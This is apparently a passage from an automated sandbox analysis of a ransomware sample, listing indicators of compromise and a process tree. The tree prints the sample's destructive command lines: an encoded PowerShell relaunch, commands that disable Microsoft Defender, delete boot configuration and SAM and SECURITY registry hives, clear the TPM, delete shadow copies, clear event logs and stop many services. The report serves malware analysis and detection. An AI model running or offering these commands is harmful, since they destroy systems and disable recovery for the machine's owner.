3956	wmic.exe
3956	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1360	powershell.exe
Token: SeDebugPrivilege	3048	powershell.exe
Token: SeIncreaseQuotaPrivilege	3048	powershell.exe
Token: SeSecurityPrivilege	3048	powershell.exe
Token: SeTakeOwnershipPrivilege	3048	powershell.exe
Token: SeLoadDriverPrivilege	3048	powershell.exe
Token: SeSystemProfilePrivilege	3048	powershell.exe
Token: SeSystemtimePrivilege	3048	powershell.exe
Token: SeProfSingleProcessPrivilege	3048	powershell.exe
Token: SeIncBasePriorityPrivilege	3048	powershell.exe
Token: SeCreatePagefilePrivilege	3048	powershell.exe
Token: SeBackupPrivilege	3048	powershell.exe
Token: SeRestorePrivilege	3048	powershell.exe
Token: SeShutdownPrivilege	3048	powershell.exe
Token: SeDebugPrivilege	3048	powershell.exe
Token: SeSystemEnvironmentPrivilege	3048	powershell.exe
Token: SeRemoteShutdownPrivilege	3048	powershell.exe
Token: SeUndockPrivilege	3048	powershell.exe
Token: SeManageVolumePrivilege	3048	powershell.exe
Token: 33	3048	powershell.exe
Token: 34	3048	powershell.exe
Token: 35	3048	powershell.exe
Token: 36	3048	powershell.exe
Token: SeSystemEnvironmentPrivilege	6020	svchost.exe
Token: SeIncreaseQuotaPrivilege	2284	wmic.exe
Token: SeSecurityPrivilege	2284	wmic.exe
Token: SeTakeOwnershipPrivilege	2284	wmic.exe
Token: SeLoadDriverPrivilege	2284	wmic.exe
Token: SeSystemProfilePrivilege	2284	wmic.exe
Token: SeSystemtimePrivilege	2284	wmic.exe
Token: SeProfSingleProcessPrivilege	2284	wmic.exe
Token: SeIncBasePriorityPrivilege	2284	wmic.exe
Token: SeCreatePagefilePrivilege	2284	wmic.exe
Token: SeBackupPrivilege	2284	wmic.exe
Token: SeRestorePrivilege	2284	wmic.exe
Token: SeShutdownPrivilege	2284	wmic.exe
Token: SeDebugPrivilege	2284	wmic.exe
Token: SeSystemEnvironmentPrivilege	2284	wmic.exe
Token: SeRemoteShutdownPrivilege	2284	wmic.exe
Token: SeUndockPrivilege	2284	wmic.exe
Token: SeManageVolumePrivilege	2284	wmic.exe
Token: 33	2284	wmic.exe
Token: 34	2284	wmic.exe
Token: 35	2284	wmic.exe
Token: 36	2284	wmic.exe
Token: SeIncreaseQuotaPrivilege	2284	wmic.exe
Token: SeSecurityPrivilege	2284	wmic.exe
Token: SeTakeOwnershipPrivilege	2284	wmic.exe
Token: SeLoadDriverPrivilege	2284	wmic.exe
Token: SeSystemProfilePrivilege	2284	wmic.exe
Token: SeSystemtimePrivilege	2284	wmic.exe
Token: SeProfSingleProcessPrivilege	2284	wmic.exe
Token: SeIncBasePriorityPrivilege	2284	wmic.exe
Token: SeCreatePagefilePrivilege	2284	wmic.exe
Token: SeBackupPrivilege	2284	wmic.exe
Token: SeRestorePrivilege	2284	wmic.exe
Token: SeShutdownPrivilege	2284	wmic.exe
Token: SeDebugPrivilege	2284	wmic.exe
Token: SeSystemEnvironmentPrivilege	2284	wmic.exe
Token: SeRemoteShutdownPrivilege	2284	wmic.exe
Token: SeUndockPrivilege	2284	wmic.exe
Token: SeManageVolumePrivilege	2284	wmic.exe
Token: 33	2284	wmic.exe
Token: 34	2284	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4456 wrote to memory of 1360	4456	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	89
PID 1360 wrote to memory of 944	1360	powershell.exe	92
PID 944 wrote to memory of 1588	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	94
PID 944 wrote to memory of 6028	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	96
PID 944 wrote to memory of 3048	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	98
PID 944 wrote to memory of 1896	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	101
PID 944 wrote to memory of 772	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	103
PID 944 wrote to memory of 1188	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	105
PID 944 wrote to memory of 5648	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	107
PID 944 wrote to memory of 6040	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	109
PID 944 wrote to memory of 5456	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	111
PID 944 wrote to memory of 5956	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	113
PID 944 wrote to memory of 4612	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	115
PID 944 wrote to memory of 460	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	117
PID 944 wrote to memory of 3024	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	119
PID 944 wrote to memory of 676	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	122
PID 944 wrote to memory of 3344	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	124
PID 944 wrote to memory of 1080	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	126
PID 944 wrote to memory of 5688	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	128
PID 5688 wrote to memory of 4520	5688	cmd.exe	130
PID 944 wrote to memory of 3412	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	131
PID 944 wrote to memory of 2828	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	230
PID 944 wrote to memory of 6088	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	136
PID 944 wrote to memory of 3556	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	138
PID 944 wrote to memory of 4752	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	140
PID 944 wrote to memory of 3340	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	142
PID 944 wrote to memory of 5436	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	577
PID 944 wrote to memory of 2200	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	146
PID 944 wrote to memory of 3660	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	148
PID 944 wrote to memory of 5696	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	950
PID 944 wrote to memory of 1400	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	806
PID 944 wrote to memory of 5636	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	942
PID 944 wrote to memory of 1656	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	353
PID 944 wrote to memory of 3816	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	158
PID 944 wrote to memory of 2328	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	1120
PID 944 wrote to memory of 4160	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	710
PID 944 wrote to memory of 3452	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	870
PID 944 wrote to memory of 2872	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	388
PID 944 wrote to memory of 5552	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	168
PID 944 wrote to memory of 3524	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	1210
PID 944 wrote to memory of 3844	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	172
PID 944 wrote to memory of 3596	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	1100
PID 944 wrote to memory of 2284	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	423
PID 944 wrote to memory of 3048	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	510
PID 944 wrote to memory of 108	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	606
PID 944 wrote to memory of 5416	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	182
PID 944 wrote to memory of 4108	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	868
PID 944 wrote to memory of 2996	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	761
PID 944 wrote to memory of 2056	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	1001
PID 944 wrote to memory of 2412	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	1013
PID 944 wrote to memory of 4460	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	1007
PID 944 wrote to memory of 1280	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	634
PID 944 wrote to memory of 5976	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	191
PID 944 wrote to memory of 4900	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	680
PID 944 wrote to memory of 5264	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	534
PID 944 wrote to memory of 1980	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	536
PID 944 wrote to memory of 3124	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	648
PID 944 wrote to memory of 4252	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	1009
PID 944 wrote to memory of 5852	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	1197
PID 944 wrote to memory of 4880	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	526
PID 944 wrote to memory of 3344	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	212
PID 944 wrote to memory of 956	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	213
PID 944 wrote to memory of 1296	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	686
PID 944 wrote to memory of 6076	944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe	218

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADIAMAAyADYALQAwADcALQAwADkAXwA5ADcANgBiAGUAZQAwAGYAMgBiADgAMAA4ADAANwBlADEANQAxADEAOABhADUANgAyADEAMQA2AGMAZABhADAAXwBhAGsAaQByAGEALgBlAHgAZQAnACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACcALQAtAGUAbABlAHYAYQB0AGUAZAAnACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1360
- - C:\Users\Admin\AppData\Local\Temp\2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe" --elevated
    3⤵
    - Writes to the Master Boot Record (MBR)
    - Sets desktop wallpaper using registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:944
  - - C:\Windows\system32\reg.exe
      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:1588
  - - C:\Windows\system32\reg.exe
      "reg" add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:6028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3048
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      PID:1896
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:772
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1188
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      PID:5648
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      PID:6040
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      Launches sc.exe
      PID:5456
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      PID:5956
  - - C:\Windows\system32\sc.exe
      "sc" stop WdNisSvc
      4⤵
      PID:4612
  - - C:\Windows\system32\sc.exe
      "sc" config WdNisSvc start= disabled
      4⤵
      PID:460
  - - C:\Windows\system32\sc.exe
      "sc" stop WdBoot
      4⤵
      PID:3024
  - - C:\Windows\system32\sc.exe
      "sc" config WdBoot start= disabled
      4⤵
      PID:676
  - - C:\Windows\system32\sc.exe
      "sc" stop WdFilter
      4⤵
      PID:3344
  - - C:\Windows\system32\sc.exe
      "sc" config WdFilter start= disabled
      4⤵
      PID:1080
  - - C:\Windows\system32\cmd.exe
      "cmd" /c reg delete HKLM\BCD00000000 /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5688
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\BCD00000000 /f
        5⤵
        Modifies registry key
        
        PID:4520
  - - C:\Windows\system32\reagentc.exe
      "reagentc" /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:3412
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2828
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} nx AlwaysOff
      4⤵
      Modifies boot configuration data using bcdedit
      PID:6088
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} pae ForceDisable
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3556
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} bootlog Yes
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4752
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} noserialmice Yes
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3340
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} safeboot Minimal
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5436
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} safebootalternateshell yes
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2200
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3660
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /delete {bootmgr} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5696
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /delete {memdiag} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1400
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SAM\SAM /f
      4⤵
      Modifies registry key
      PID:5636
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SAM\Domains /f
      4⤵
      Modifies registry key
      PID:1656
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SYSTEM\CurrentControlSet\Services /f
      4⤵
      Modifies firewall policy service
      Modifies security service
      Maps connected drives based on registry
      Modifies registry key
      PID:3816
  - - C:\Windows\system32\reg.exe
      "reg" delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /f
      4⤵
      PID:2328
  - - C:\Windows\system32\reg.exe
      "reg" add HKLM\SYSTEM\CurrentControlSet\Control /v SystemStartOptions /t REG_SZ /d GARBAGE /f
      4⤵
      Modifies registry key
      PID:4160
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:3452
  - - C:\Windows\system32\reg.exe
      "reg" delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /f
      4⤵
      Event Triggered Execution: Image File Execution Options Injection
      Indicator Removal: Clear Persistence
      PID:2872
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SECURITY\Policy /f
      4⤵
      Modifies registry key
      PID:5552
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\DEFAULT\Software /f
      4⤵
      Modifies registry key
      PID:3524
  - - C:\Windows\system32\fsutil.exe
      "fsutil" dirty set C:
      4⤵
      PID:3844
  - - C:\Windows\system32\tpmtool.exe
      "tpmtool" clear
      4⤵
      PID:3596
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" /namespace:\\root\cimv2\security\microsofttpm path Win32_Tpm call Clear
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2284
  - - C:\Windows\system32\sc.exe
      "sc" stop VSS
      4⤵
      PID:3048
  - - C:\Windows\system32\sc.exe
      "sc" query type= service state= all
      4⤵
      PID:108
  - - C:\Windows\system32\sc.exe
      "sc" stop ALG
      4⤵
      PID:5416
  - - C:\Windows\system32\sc.exe
      "sc" stop AppIDSvc
      4⤵
      PID:4108
  - - C:\Windows\system32\sc.exe
      "sc" stop Appinfo
      4⤵
      Launches sc.exe
      PID:2996
  - - C:\Windows\system32\sc.exe
      "sc" stop AppMgmt
      4⤵
      PID:2056
  - - C:\Windows\system32\sc.exe
      "sc" stop AppReadiness
      4⤵
      PID:2412
  - - C:\Windows\system32\sc.exe
      "sc" stop AppVClient
      4⤵
      PID:4460
  - - C:\Windows\system32\sc.exe
      "sc" stop AppXSvc
      4⤵
      Launches sc.exe
      PID:1280
  - - C:\Windows\system32\sc.exe
      "sc" stop ApxSvc
      4⤵
      PID:5976
  - - C:\Windows\system32\sc.exe
      "sc" config VSS start= disabled
      4⤵
      Launches sc.exe
      PID:4900
  - - C:\Windows\system32\sc.exe
      "sc" config AppIDSvc start= disabled
      4⤵
      PID:5264
  - - C:\Windows\system32\sc.exe
      "sc" config AppReadiness start= disabled
      4⤵
      PID:1980
  - - C:\Windows\system32\sc.exe
      "sc" config Appinfo start= disabled
      4⤵
      PID:3124
  - - C:\Windows\system32\sc.exe
      "sc" config AppVClient start= disabled
      4⤵
      PID:4252
  - - C:\Windows\system32\sc.exe
      "sc" config ALG start= disabled
      4⤵
      PID:5852
  - - C:\Windows\system32\sc.exe
      "sc" config ApxSvc start= disabled
      4⤵
      PID:4880
  - - C:\Windows\system32\sc.exe
      "sc" config AppMgmt start= disabled
      4⤵
      PID:3344
  - - C:\Windows\system32\sc.exe
      "sc" config AppXSvc start= disabled
      4⤵
      PID:956
  - - C:\Windows\system32\sc.exe
      "sc" stop AssignedAccessManagerSvc
      4⤵
      PID:1296
  - - C:\Windows\system32\sc.exe
      "sc" stop AudioEndpointBuilder
      4⤵
      PID:6076
  - - C:\Windows\system32\sc.exe
      "sc" stop Audiosrv
      4⤵
      Launches sc.exe
      PID:1148
  - - C:\Windows\system32\sc.exe
      "sc" stop autotimesvc
      4⤵
      PID:3084
  - - C:\Windows\system32\sc.exe
      "sc" stop AxInstSV
      4⤵
      PID:4080
  - - C:\Windows\system32\sc.exe
      "sc" stop BDESVC
      4⤵
      Launches sc.exe
      PID:5848
  - - C:\Windows\system32\sc.exe
      "sc" stop BFE
      4⤵
      PID:5952
  - - C:\Windows\system32\sc.exe
      "sc" stop BITS
      4⤵
      PID:4936
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2828
  - - C:\Windows\system32\vssadmin.exe
      "vssadmin" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:4300
  - - C:\Windows\system32\sc.exe
      "sc" config AudioEndpointBuilder start= disabled
      4⤵
      PID:4256
  - - C:\Windows\system32\sc.exe
      "sc" config BDESVC start= disabled
      4⤵
      PID:4668
  - - C:\Windows\system32\sc.exe
      "sc" config Audiosrv start= disabled
      4⤵
      PID:5320
  - - C:\Windows\system32\sc.exe
      "sc" config AssignedAccessManagerSvc start= disabled
      4⤵
      PID:5436
  - - C:\Windows\system32\sc.exe
      "sc" config autotimesvc start= disabled
      4⤵
      PID:4820
  - - C:\Windows\system32\sc.exe
      "sc" config AxInstSV start= disabled
      4⤵
      Launches sc.exe
      PID:5908
  - - C:\Windows\system32\sc.exe
      "sc" config BFE start= disabled
      4⤵
      PID:4808
  - - C:\Windows\system32\sc.exe
      "sc" config BITS start= disabled
      4⤵
      PID:1304
  - - C:\Windows\system32\sc.exe
      "sc" stop BrokerInfrastructure
      4⤵
      PID:5060
  - - C:\Windows\system32\sc.exe
      "sc" stop BTAGService
      4⤵
      PID:556
  - - C:\Windows\system32\sc.exe
      "sc" stop BthAvctpSvc
      4⤵
      PID:3272
  - - C:\Windows\system32\sc.exe
      "sc" stop bthserv
      4⤵
      PID:4156
  - - C:\Windows\system32\sc.exe
      "sc" stop camsvc
      4⤵
      PID:2968
  - - C:\Windows\system32\sc.exe
      "sc" stop CDPSvc
      4⤵
      Launches sc.exe
      PID:4036
  - - C:\Windows\system32\sc.exe
      "sc" stop CertPropSvc
      4⤵
      PID:4160
  - - C:\Windows\system32\sc.exe
      "sc" stop ClickToRunSvc
      4⤵
      PID:5312
  - - C:\Windows\system32\sc.exe
      "sc" config BrokerInfrastructure start= disabled
      4⤵
      PID:3624
  - - C:\Windows\system32\sc.exe
      "sc" config BTAGService start= disabled
      4⤵
      PID:3052
  - - C:\Windows\system32\sc.exe
      "sc" config BthAvctpSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4832
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" shadowcopy delete
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3524
  - - C:\Windows\system32\sc.exe
      "sc" config camsvc start= disabled
      4⤵
      PID:236
  - - C:\Windows\system32\sc.exe
      "sc" config bthserv start= disabled
      4⤵
      PID:292
  - - C:\Windows\system32\sc.exe
      "sc" config CDPSvc start= disabled
      4⤵
      PID:1076
  - - C:\Windows\system32\sc.exe
      "sc" config CertPropSvc start= disabled
      4⤵
      PID:6032
  - - C:\Windows\system32\sc.exe
      "sc" stop ClipSVC
      4⤵
      PID:3048
  - - C:\Windows\system32\sc.exe
      "sc" stop cloudidsvc
      4⤵
      PID:2564
  - - C:\Windows\system32\sc.exe
      "sc" stop COMSysApp
      4⤵
      PID:5876
  - - C:\Windows\system32\sc.exe
      "sc" stop CoreMessagingRegistrar
      4⤵
      PID:2412
  - - C:\Windows\system32\sc.exe
      "sc" stop CryptSvc
      4⤵
      PID:2356
  - - C:\Windows\system32\sc.exe
      "sc" stop CscService
      4⤵
      PID:5456
  - - C:\Windows\system32\sc.exe
      "sc" config ClickToRunSvc start= disabled
      4⤵
      PID:4460
  - - C:\Windows\system32\sc.exe
      "sc" stop DcomLaunch
      4⤵
      PID:4000
  - - C:\Windows\system32\sc.exe
      "sc" config ClipSVC start= disabled
      4⤵
      PID:3424
  - - C:\Windows\system32\sc.exe
      "sc" config cloudidsvc start= disabled
      4⤵
      PID:3256
  - - C:\Windows\system32\sc.exe
      "sc" config COMSysApp start= disabled
      4⤵
      PID:1240
  - - C:\Windows\system32\sc.exe
      "sc" config CoreMessagingRegistrar start= disabled
      4⤵
      PID:3928
  - - C:\Windows\system32\sc.exe
      "sc" config CryptSvc start= disabled
      4⤵
      PID:3932
  - - C:\Windows\system32\sc.exe
      "sc" stop dcsvc
      4⤵
      PID:3576
  - - C:\Windows\system32\sc.exe
      "sc" config CscService start= disabled
      4⤵
      PID:2624
  - - C:\Windows\system32\sc.exe
      "sc" config DcomLaunch start= disabled
      4⤵
      PID:2140
  - - C:\Windows\system32\sc.exe
      "sc" stop defragsvc
      4⤵
      PID:3548
  - - C:\Windows\system32\sc.exe
      "sc" stop DeviceAssociationService
      4⤵
      PID:3908
  - - C:\Windows\system32\sc.exe
      "sc" stop DeviceInstall
      4⤵
      PID:5884
  - - C:\Windows\system32\sc.exe
      "sc" stop DevQueryBroker
      4⤵
      PID:1220
  - - C:\Windows\system32\sc.exe
      "sc" config dcsvc start= disabled
      4⤵
      Launches sc.exe
      PID:1048
  - - C:\Windows\system32\sc.exe
      "sc" stop Dhcp
      4⤵
      PID:4824
  - - C:\Windows\system32\sc.exe
      "sc" stop diagsvc
      4⤵
      PID:2892
  - - C:\Windows\system32\sc.exe
      "sc" stop DiagTrack
      4⤵
      PID:5428
  - - C:\Windows\system32\sc.exe
      "sc" config defragsvc start= disabled
      4⤵
      PID:5180
  - - C:\Windows\system32\sc.exe
      "sc" config DeviceAssociationService start= disabled
      4⤵
      PID:2128
  - - C:\Windows\system32\sc.exe
      "sc" config DeviceInstall start= disabled
      4⤵
      PID:5832
  - - C:\Windows\system32\sc.exe
      "sc" config DevQueryBroker start= disabled
      4⤵
      PID:452
  - - C:\Windows\system32\sc.exe
      "sc" config DiagTrack start= disabled
      4⤵
      PID:4080
  - - C:\Windows\system32\sc.exe
      "sc" config Dhcp start= disabled
      4⤵
      PID:2836
  - - C:\Windows\system32\sc.exe
      "sc" config diagsvc start= disabled
      4⤵
      PID:5076
  - - C:\Windows\system32\sc.exe
      "sc" stop DialogBlockingService
      4⤵
      PID:3008
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Application
      4⤵
      Clears Windows event logs
      PID:3012
  - - C:\Windows\system32\sc.exe
      "sc" stop DispBrokerDesktopSvc
      4⤵
      Launches sc.exe
      PID:1968
  - - C:\Windows\system32\sc.exe
      "sc" stop DisplayEnhancementService
      4⤵
      PID:4716
  - - C:\Windows\system32\sc.exe
      "sc" stop DmEnrollmentSvc
      4⤵
      PID:2744
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1656
  - - C:\Windows\system32\sc.exe
      "sc" stop dmwappushservice
      4⤵
      PID:2992
  - - C:\Windows\system32\sc.exe
      "sc" stop Dnscache
      4⤵
      PID:2652
  - - C:\Windows\system32\sc.exe
      "sc" stop DoSvc
      4⤵
      PID:2236
  - - C:\Windows\system32\sc.exe
      "sc" config DispBrokerDesktopSvc start= disabled
      4⤵
      PID:3016
  - - C:\Windows\system32\sc.exe
      "sc" config DialogBlockingService start= disabled
      4⤵
      PID:4740
  - - C:\Windows\system32\sc.exe
      "sc" stop dot3svc
      4⤵
      PID:1428
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl System
      4⤵
      Clears Windows event logs
      PID:3700
  - - C:\Windows\system32\sc.exe
      "sc" config DmEnrollmentSvc start= disabled
      4⤵
      PID:5600
  - - C:\Windows\system32\sc.exe
      "sc" config DisplayEnhancementService start= disabled
      4⤵
      PID:4780
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4036
  - - C:\Windows\system32\sc.exe
      "sc" config DoSvc start= disabled
      4⤵
      PID:688
  - - C:\Windows\system32\sc.exe
      "sc" config dmwappushservice start= disabled
      4⤵
      PID:3784
  - - C:\Windows\system32\sc.exe
      "sc" config Dnscache start= disabled
      4⤵
      PID:3452
  - - C:\Windows\system32\sc.exe
      "sc" config dot3svc start= disabled
      4⤵
      PID:900
  - - C:\Windows\system32\sc.exe
      "sc" stop DPS
      4⤵
      Launches sc.exe
      PID:6128
  - - C:\Windows\system32\sc.exe
      "sc" stop DsmSvc
      4⤵
      PID:3808
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Security
      4⤵
      Clears Windows event logs
      PID:4844
  - - C:\Windows\system32\sc.exe
      "sc" stop DsSvc
      4⤵
      PID:1916
  - - C:\Windows\system32\sc.exe
      "sc" stop DusmSvc
      4⤵
      PID:2872
  - - C:\Windows\system32\sc.exe
      "sc" stop EapHost
      4⤵
      Launches sc.exe
      PID:4952
  - - C:\Windows\system32\sc.exe
      "sc" stop edgeupdate
      4⤵
      PID:1376
  - - C:\Windows\system32\sc.exe
      "sc" stop edgeupdatem
      4⤵
      PID:5808
  - - C:\Windows\system32\sc.exe
      "sc" config DPS start= disabled
      4⤵
      PID:3648
  - - C:\Windows\system32\sc.exe
      "sc" config DsmSvc start= disabled
      4⤵
      PID:5876
  - - C:\Windows\system32\sc.exe
      "sc" stop EFS
      4⤵
      PID:4584
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" computersystem set AutomaticManagedPagefile=False
      4⤵
